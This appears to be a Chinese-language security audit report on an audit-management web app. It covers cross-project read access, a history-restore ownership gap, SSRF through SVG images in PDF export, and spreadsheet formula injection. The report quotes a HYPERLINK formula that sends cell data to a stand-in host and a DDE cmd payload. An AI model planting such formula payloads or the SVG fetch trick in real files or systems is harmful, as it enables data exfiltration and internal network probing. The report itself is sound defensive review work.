---
title: U9 檢查結果：專案摘要報告＋關聯表＋使用者／角色殘段
---

# U9 檢查結果：專案摘要報告＋關聯表＋使用者／角色殘段

> 檢查日期 2026-09-25｜對應卡片 CM-2161（母卡 CM-2152）｜檢查範圍 20 個檔案 1,658 行｜工具 run ID `wf_e920735d-3bb`｜掃描版本 `e1c92303`（`feature/review`）｜驗證章 `verified`

## 🔴 一句話結論

**卡片最擔心的「同公司、不是專案成員的人，能不能看別的專案的摘要報告」——在目前主線上：看得到。** 第 65 項掃描當時還沒修進主線（後已合回並隨 1.21.0 出貨）。修正分支（`fix/security-b1`，CM-2037）上五支讀取功能都補了守門，但還沒合回。**修正分支上還留一個縫：「還原歷史版本」**。它檢查了「你能不能動這份報告」，沒檢查「你拿來還原的那個歷史版本是不是這份報告的」。所以專案 A 的任何成員，都能把專案 B 某一版的稽核結論全文複製進自己 A 的報告裡讀出來。三人面板 0:3 否決了這條，但他們的理由只在「第 65 項還沒修」時成立（見 U9-1）。這是 U7 那個病的又一個長相：**只認網址上那份報告，不認資料歸屬。**

- **第 65 項（卡片第一條）**：在主線上我用 DEV 真資料實測。租戶 131 的一般帳號 `euadmin` 不是專案 321 的成員，用他的身分查資料庫，整份摘要報告（含稽核結論全文、作者帳號）和歷史版本都撈得到。換成租戶 102 的帳號去查同一份就撈不到，代表資料庫隔離擋住了跨公司，**只擋不住公司內跨專案**。修正分支已修，但 **CM-2037 還沒合進 `feature/review`**。
- **🟠 新發現 U9-2（中風險，工具 F1 面板 3:0＋runner 實測）**：匯出摘要報告 PDF 時，圖片只准用內嵌的 `data:image/*`（CM-892 的防線），但 **`data:image/svg+xml` 也算在內**。一張 SVG 圖裡可以再指向別的網址或伺服器上的檔案，PDF 產生器照樣會去抓。我在本機實測：伺服器對 `127.0.0.1` 發出了兩個請求，也能把本機檔案 `file://…` 的圖片內容嵌進 PDF。工具獨立找到同一條，三人面板 3:0 通過、評中。**這是本棒唯一經面板背書的新項目。**
- **🟡 U9-1（中風險，runner 實測；工具 C3 面板 0:3 否決，我不同意，請首腦裁）**：還原歷史版本時「版本歸屬」沒核對。面板否決的理由是：「反正歷史版本本來就能直接讀，還原只是『先讀、再貼』，沒有多給能力。」**這個理由的前提是第 65 項沒修**。修正分支把直接讀取補上守門之後，還原就成了唯一能讀到別專案版本內容的路。**修正分支上一樣存在**：CM-2037 只補了讀取功能，這支本來就有守門，所以沒動到。
- **帳號匯入範本的公式注入（卡片第二條）**：**成立，第 150 項已記**（租戶、部門、角色名稱原樣寫進隱藏下拉分頁）。工具 F3 面板 3:0 評低，本機實測重現。修正分支 CM-2189（`895db0ef8`）已修，主線當時還沒修（後已隨 1.21.0 出貨）。
- **第 65 項**：工具 F2 面板 3:0 評中，與總表現有嚴重度一致，**不另計**。
- **角色、帳號包裝層（卡片第三條）**：**不成立**。套件的寫入路由都經過主專案這層包裝，沒有第二條繞過的路。
- **原廠帳號讀取器（卡片第四條）**：**不成立**。只在伺服器內部被呼叫，只回「是不是」，不回任何帳號欄位。
- **三支關聯表**：**不成立**（本棒範圍內）。它們沒有對外路由，只被後端流程內部呼叫。

## 這一棒在檢查什麼

「專案摘要報告」是稽核結束時寫的結論文件（富文本，可匯出 PDF），每次修改都留一版歷史、可以還原。另外本棒順帶掃了三張「專案↔稽核計畫／部門／系統特性」的關聯表程式，以及主專案包在身分套件（jedi-iam）外面的三支包裝（角色授權檢查、原廠帳號保護、帳號匯入範本）。

| 檔案 | 行數 | 角色 |
|------|-----:|------|
| `app/project_summary_report/service/project_summary_report_service.py` | 178 | 摘要報告的新增、查看、修改、刪除、清單 |
| `api/project_summary_report/routes/project_summary_report_route.py` | 170 | 摘要報告對外入口＋PDF 匯出＋富文本清洗 |
| `api/project/serializers/assessment_plan.py` | 148 | 稽核計畫任務的輸入輸出格式（純宣告） |
| `common/util/audit_nickname.py` | 87 | 把帳號換成暱稱顯示的共用小工具 |
| `app/auth/service/user_app_service.py` | 122 | 原廠帳號不可被刪、停用、降權 |
| `app/auth/service/user_import_template_app_service.py` | 106 | 產生帳號批次匯入範本 Excel |
| `app/auth/service/role_app_service.py` | 94 | 角色不能被新增未授權模組的權限 |
| `api/project/__init__.py` | 88 | 專案模組路由登記表 |
| `app/project_summary_report/service/project_summary_report_history_service.py` | 77 | 歷史版本清單、單筆、還原 |
| `api/project_summary_report/routes/project_summary_report_history_route.py` | 71 | 歷史版本對外入口 |
| `infra/associations/repository/project_assessment_plan_mapping_repo_impl.py` | 71 | 專案↔稽核計畫關聯（資料庫存取） |
| `api/project/routes/project_route.py` | 69 | 建立專案 |
| `app/associations/service/project_assessment_plan_mapping_service.py` | 67 | 專案↔稽核計畫關聯（服務層） |
| `infra/associations/repository/project_system_characteristic_mapping_repo_impl.py` | 59 | 專案↔系統特性關聯 |
| `domain/associations/service/project_system_characteristic_mapping_domain_service.py` | 50 | 同上（領域層） |
| `app/associations/service/project_org_unit_mapping_service.py` | 44 | 專案↔部門關聯 |
| `api/project_summary_report/__init__.py` | 43 | 摘要報告路由登記表 |
| `infra/auth/root_admin_reader.py` | 40 | 查某帳號是不是原廠帳號 |
| `infra/associations/repository/project_org_unit_mapping_repo_impl.py` | 38 | 專案↔部門關聯 |
| `infra/project_summary_report/repository/project_summary_report_hitrosy_repo_impl.py` | 36 | 歷史版本查詢 |

要回答的核心問題：**摘要報告的資料表沒有「屬於哪家公司」的欄位，資料庫的保護規則是「專案看得到就看得到」。同一家公司內，不是這個專案的人，能不能讀或改別的專案的摘要報告？**

## 掃到什麼（總覽）

| # | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 該補檢查的位置 | 嚴重度＋為什麼 | 來源 |
|---|---|---|---|---|---|---|
| U9-2 | PDF 匯出允許 `data:image/svg+xml` 圖片，SVG 裡面可以再指向內網網址或伺服器本機檔案 | 在摘要報告裡貼一張特製 SVG 圖，按匯出，伺服器就去打內網網址（可探測內網服務），或把伺服器上的圖檔嵌進 PDF 帶走 | 能寫摘要報告的人（主線上：同公司任一登入帳號；修正後：該專案任一成員） | `api/project_summary_report/routes/project_summary_report_route.py:48`（`src` 只收 `data:image/png`、`jpeg`、`gif`、`webp`，排除 `svg+xml`）；更穩的做法是 `:166` 產 PDF 時給 WeasyPrint 一個一律拒絕的 `url_fetcher` | 🟠 中：CM-892 當初要擋的就是「伺服器替使用者外抓網址」，這條把它繞過了；只能發 GET、一般看不到回應內容，但回應是圖片時會嵌進 PDF 帶走，也能嵌本機圖檔 | **工具 F1，面板 3:0（中、信心高）**＋runner 本機實測 |
| U9-1 | 還原歷史版本時，只檢查「你是不是這份報告所屬專案的人」，不檢查「你指定的歷史版本是不是這份報告的」 | 專案 A 的任何成員（連旁觀者 viewer 也行），指定專案 B 某一版的編號去還原自己 A 的報告，B 那一版的稽核結論全文就被複製進 A 的報告；再用正常畫面讀 A 就看到了。**修正分支上一樣存在** | 是任一專案的成員＋知道別專案某個歷史版本的編號（主線上第 65 項的歷史清單會直接給；修正後要靠別的管道外流） | `app/project_summary_report/service/project_summary_report_history_service.py:50`（取出歷史版本後，比對 `history.report_id == report.id`，不同就回 404；歷史版本查不到也要回 404，目前是 500） | 🟠 中：與第 94 項（問卷還原）同一型；讀到的是別專案的稽核結論，還會把自己專案的報告改掉。**只在第 65 項修好後才是唯一的讀取路徑**，主線上等同第 65 項 | runner 實測；工具 C3 面板 **0:3 否決**（理由見「工具報的逐條」），runner 不同意，請首腦裁 |
| — | 摘要報告清單、單筆、歷史清單、歷史單筆只驗登入，不驗專案成員 | 見第 65 項 | — | — | 中 | 工具 F2 面板 3:0；**既有第 65 項，掃描當時主線未修（後已隨 1.21.0 出貨）** |
| — | 帳號匯入範本把租戶、部門、角色名稱原樣寫進下拉分頁 | 見第 150 項 | — | — | 中（工具評低） | 工具 F3 面板 3:0；**既有第 150 項重現，掃描當時主線未修（CM-2189，後已隨 1.21.0 出貨）** |

> **現況（2026-10-01）**：本棒各條後來的處理結果如下（過程紀錄保留，不改）。
>
> - U9-1（還原歷史版本不核歸屬，原 0:3 否決、首腦推翻）＝總表第 205 項，✅ 已修（CM-2211，commit `fe928859f`，1.21.0 出貨）。
> - U9-2（PDF 匯出 SVG）＝總表第 204 項，✅ 已修（CM-2213，commit `a5804a990`／`bde8f9d16`，1.21.0 出貨）。
> - 舊帳第 65 項 ✅ 已修（CM-2179，commit `94275d72f`）、第 150 項 ✅ 已修（CM-2181，commit `48638cbdb`／套件 `2cb9d2cd`），均隨 1.21.0 出貨。

## 卡片點名的疑點逐條回答

### 1. 🔴 摘要報告兩支 route、三支關聯表 service 零守門字眼——同公司非專案成員能不能讀／改別的專案

**主線上：讀得到，改不了。**

- **讀**：`project_summary_report_service.py:53`（清單）、`:78`（單筆）、`project_summary_report_history_service.py:29`（歷史清單）、`:36`（歷史單筆）四支開頭都沒有「你是不是這個專案的人」這道檢查。清單那支的查詢條件全部非必填，送空請求就整批回來。
- **改**：新增 `:111`、修改 `:138`、刪除 `:164`、還原 `history_service.py:57` 都有檢查；匯出 PDF 走 `:100`，也有檢查。
- **DEV 實測（唯讀，2026-09-25 15:10 前後）**：用資料庫應用帳號、模擬租戶 131 的一般帳號 `euadmin`（使用者 50，不是專案 321 的成員）的查詢身分，空條件查摘要報告表，撈到專案 321 的報告（`b9804e7e…`，稽核結論、作者 `admin`），歷史版本也撈得到；同一身分查成員表，確認他不是專案 321 的成員。換成租戶 102 的帳號去查同一份：0 筆。**跨公司擋住了，公司內跨專案沒擋。**
- **打折**：我沒有起後端打真的 HTTP 請求（在本機起測試用後端時，主專案的一個資料存取元件因為平行修正線的套件改動而起不來）。改用「資料庫應用帳號＋同樣的身分變數」直接查，模擬的是後端會帶給資料庫的那組條件；程式碼層面這四支沒有任何其他過濾，所以結果等同。
- **修正分支狀態**：CM-2037（`cd9223592`、`b047d16e3`）已在五支讀取加上檢查，清單改成只回「我參與的專案」，歷史清單的報告編號改成必填。**還沒合進 `feature/review`**，我讀過修正後的版本，讀取這一面是補齊的。
- **還有沒有別的讀取入口**：全 repo 搜尋摘要報告的服務與資料表，只有 `module_frame_service.py` 注入了這個服務、卻沒有呼叫它；三支沒人呼叫的方法（`get_project_summary_reports`、`get_project_summary_report_by_id`、`add_project_summary_report`）沒有對外入口，修正分支已刪（`e2ffc2d4f`）。**唯一漏網的是 U9-1 那條「借還原來讀」。**
- **三支關聯表 service**：`project_assessment_plan_mapping_service.py`、`project_org_unit_mapping_service.py`、`project_system_characteristic_mapping_domain_service.py` **都沒有對外路由**，只被 `workflow_execution_service.py` 等後端流程在內部呼叫，專案編號是流程自己算出來的，不是使用者給的。本棒範圍內**不成立**。順帶記一個不影響安全的小問題：`project_assessment_plan_mapping_service.py:64` 的「依專案刪除」實際呼叫的是「依編號刪除」（把專案編號當關聯編號刪），目前沒有人呼叫這支。

### 2. `user_import_template_app_service.py`：範本帶的現有資料有沒有先中和公式字元

**成立，第 150 項已記，不另計。**

- `:97` 把租戶、部門、角色名稱原封不動寫進隱藏的下拉分頁。
- **本機實測**：假資料把部門名設成 `=HYPERLINK("http://evil.example/?x="&A1,"點我")`、角色名設成 `=cmd|' /C calc'!A0`，產出的檔案裡這兩格被存成**公式**（`<f>` 標籤）；`+1+1`、`@SUM(1)` 這類則存成文字。也就是 `=` 開頭的一定中，其他三個字元要看 openpyxl 怎麼判。
- 修正分支 CM-2189（`895db0ef8`）已改用 `set_text_cell`，主線還沒合。
- 能改部門、角色名稱的人要有對應的管理權限，門檻比第 150 項那條「改自己暱稱」高，所以第 150 項的嚴重度不用動。

### 3. `role_app_service.py`／`user_app_service.py`：有沒有繞過套件守門直接改角色

**不成立。**

- 我讀了 jedi-iam 的 `role_route.py`、`user_route.py`、`routing.py`。角色的新增、修改都走 `role_app_service`，有授權模組檢查；帳號的修改、刪除、改狀態、自助改資料四條都先呼叫 `user_app_service` 的原廠帳號檢查。
- 角色的**刪除**和**改狀態**直接走套件的 `role_service`、不經包裝層，但授權模組檢查只管「新授予未授權的權限」，刪除和停用不會新授予，所以不需要經過包裝層。
- 原廠帳號保護在 `_is_protected`（`user_app_service.py:119`）零件沒接上時「視為受保護」，是往安全的方向失敗，寫法正確。
- 旁支查了一件事：原廠帳號的「到期日」沒有被保護，可以被改成過去的日期，而登入時**會**檢查到期日（`jedi-iam` `login_service.py:117`），所以改了確實會登不進去。但能碰到原廠帳號的只有最上層租戶的人，他們本來就能改原廠帳號的密碼或 email，效果一樣。工具 C4 面板 1:2 否決，**我同意不立項**（見「工具報的逐條」）。

### 4. `root_admin_reader.py`：誰能呼叫、回傳什麼欄位

**不成立。**

- 只有兩個呼叫者：`user_app_service.py:122`（刪、停、降權前問一句）、`core/plugins/identity.py:259`（登入時決定原廠帳號要不要豁免密碼過期）。都在伺服器內部，沒有對外路由。
- 回傳只有「是／否」（`bool`），查詢只選 `User.id`、不選任何帳號欄位。
- 它繞過資料庫隔離去查，這是刻意的（原廠帳號屬於最上層租戶，子公司的查詢身分看不到它）。範圍鎖在單次唯讀查詢，套件內還有註解說明兩支方法「判不出來時往哪邊失敗」相反的理由，我核對過兩個方向都對。

### 5. 「有人守了一半」共通疑點逐條對照

| 疑點 | 本棒有沒有 |
|---|---|
| 只驗「你是誰」，沒驗「這筆資料是不是你的」 | **有**：U9-1（還原只驗報告、不驗版本歸屬）；第 65 項（主線的四支讀取） |
| 只檢查了列表，沒檢查單筆 | 反過來：主線上寫入的單筆有守、讀取的列表和單筆都沒守（第 65 項） |
| 第二支路由沒掛 | 無。`project_summary_report_route.py:24` 一個類別掛兩條網址（有帶編號、沒帶編號），沒帶編號時 GET／PUT／DELETE 會因為少參數而回 500，屬錯誤處理不當、不是繞過 |
| 守門條件用 `or` 串起來、其中一條永遠成立 | 無 |
| 「查不到」與「沒權限」混成同一回應 | 摘要報告查不到回 404、沒權限回 403，**兩者可區分**，可以用來探測某個報告編號存不存在（編號是隨機 UUID，實務上猜不到，不另計） |
| 背景或系統身分假設「呼叫者一定是自己人」 | 關聯表三支都只被內部流程呼叫，編號由流程算出；不成立 |
| 防重放或計次只在單一程序有效 | 無 |
| 註解寫「刻意不檢查」、上一層也沒檢查 | 無 |
| 「零件沒接就放行」 | **有，但沒有實際影響**：`_require_participant`（`project_summary_report_service.py:40`）在守門零件沒接上時直接放行。我核對過容器設定檔（`di_containers/project/project_summary_report_containers.py`），主線和修正分支都有接上 |

## 工具報的逐條

工具交回 5 條候選（主研究員 5 條，密鑰專掃 0 條），三人面板 15 票全投、零漏投：3 條 3:0 通過、1 條 0:3 否決、1 條 1:2 否決。

| 工具編號 | 說什麼 | 面板 | 對到哪 |
|---|---|---|---|
| F1 | PDF 匯出允許 SVG 內嵌圖，伺服器替使用者外抓內網網址 | 3:0 中（信心高） | **新**＝U9-2 |
| F2 | 摘要報告與歷史版本四支讀取不驗專案成員 | 3:0 中 | 第 65 項 |
| F3 | 帳號匯入範本的名稱被當成公式 | 3:0 低 | 第 150 項 |
| C3（否決） | 還原歷史版本不核版本歸屬 | **0:3 否決** | runner 不同意＝U9-1 |
| C4（否決） | 原廠帳號保護沒擋「改到期日」與「換成別的最上層租戶角色」 | **1:2 否決** | 不立項（見下） |

**C3 為什麼被否決、我為什麼不同意**：三票理由幾乎一樣：「專案 A 的成員本來就能用沒守門的歷史讀取直接讀 B 的版本，再用修改功能貼進 A，還原沒多給能力。」這在**主線上是對的**，因為第 65 項沒修。但修正分支（CM-2037）已經把「直接讀歷史」補上守門，這時還原就成了唯一的路：`get_project_summary_report_history_by_uid` 讀不到 B 的版本，但還原不用先讀，只要知道編號就能直接把內容寫進 A。面板看的是主線，沒看修正分支，所以不知道這個前提會消失。我用假資料直接呼叫**修正分支**的服務程式實測，B 的內容確實被寫進 A 的報告，守門只問過 A 的專案（見「可信度」）。**建議**：與第 65 項併同一張修正卡，修法是在 `history_service.py:50` 取出歷史版本之後比對歸屬。與第 94 項（問卷還原）一模一樣的修法。

**C4 為什麼被否決、我怎麼看**：這條說原廠帳號保護只擋「拔超管旗標」「停用」「拔最上層租戶角色」，沒擋「把到期日改成過去」（到期後就登不進去）。我原本也懷疑過，查過套件後確認：登入時**確實**會檢查到期日（`jedi-iam` `login_service.py:117` → `user_entity.py:64`，**初稿誤寫成「登入不看到期日」，已更正**）。但面板兩票指出，能碰到原廠帳號的只有最上層租戶的人，而這些人本來就能改原廠帳號的密碼或 email（守門刻意放行），效果一樣是把原廠鎖在門外。所以這條守門的定位是「防手滑」而不是安全邊界，漏擋到期日不給任何新能力。**我同意不立項**，但建議修 root admin 保護時順手把到期日加進擋的清單（一行）。

**F1 補充**：面板三票都讀到 WeasyPrint 預設的抓取器允許 `http`、`https`、`ftp`、`file`，與我的本機實測一致。

## 可信度分兩層

- **「這幾條存在嗎」**：工具 F1、F2、F3 經三人面板完整投票（15 票全投、零漏投），驗證章 `verified`。U9-2 同時有面板 3:0 與我的本機實測兩層。**U9-1 面板 0:3 否決**，現在只有我的實測：我用假資料直接呼叫修正分支的服務程式，看到 B 版本的內容被寫進 A 的報告，守門只問過 A 的專案。U9-2 的實測是在本機起一個假伺服器，讓 PDF 產生器處理清洗過的內容，假伺服器收到了兩個請求。第 65 項在 DEV 用資料庫應用帳號唯讀實測。
- **「只有這幾條嗎」**：研究員 2 派 2 回、零失敗，範圍 20 支沒有申報「沒讀到」的檔。我自己也逐支通讀了 20 支。範圍外讀了修正分支的摘要報告五支檔、jedi-iam 的角色／帳號／匯入路由與登入到期日檢查、原廠帳號判定的套件本體、PDF 模板、摘要報告容器設定檔。這是快篩檔（`low`），只有一位主研究員。
- **打折處**：
  - 沒有起後端打真的 HTTP 請求（見疑點 1 的打折說明）。
  - U9-1 是用假資料直接呼叫服務層，沒有在 DEV 真的還原（還原會改資料，屬寫入，本棒不做）。
  - U9-2 只在本機測 WeasyPrint 69.0 的行為，沒有在 DEV 或正式主機實際匯出；主機上的 WeasyPrint 版本要核對是否相同。
  - DEV 查詢時間點 2026-09-25 15:10 前後；平行修正線可能改變資料。

## 執行概況

| 項目 | 數值 |
|---|---|
| run ID | `wf_e920735d-3bb` |
| 報告目錄 | `CLAUDE-SECURITY-20260925-070413/`（不入版控） |
| 驗證章 | `verified`（stamp `CLAUDE-SECURITY-REVISION-e1c923033405-dirty.json`；dirty 是平行線未 commit 的改動，不在範圍內） |
| 掃描參數 | `--effort low`、focus attack-surface、範圍 20 檔 |
| 研究員 | 2 派 2 回（主掃 1＋密鑰掃 1，密鑰零發現），**零失敗、零重試** |
| 候選／投票 | 5 候選、15 票全投；3 條 3:0、1 條 0:3、1 條 1:2 |
| agent 總數 | 17 個，0 錯誤（1 個空結果＝密鑰掃零發現） |
| 耗時 | 約 47 分鐘 |
| 淨新增 | 中 1（U9-2，面板 3:0＋runner 實測）＋待裁中 1（U9-1，面板 0:3 否決、runner 實測不同意）；第 65／150 項重現不另計 |
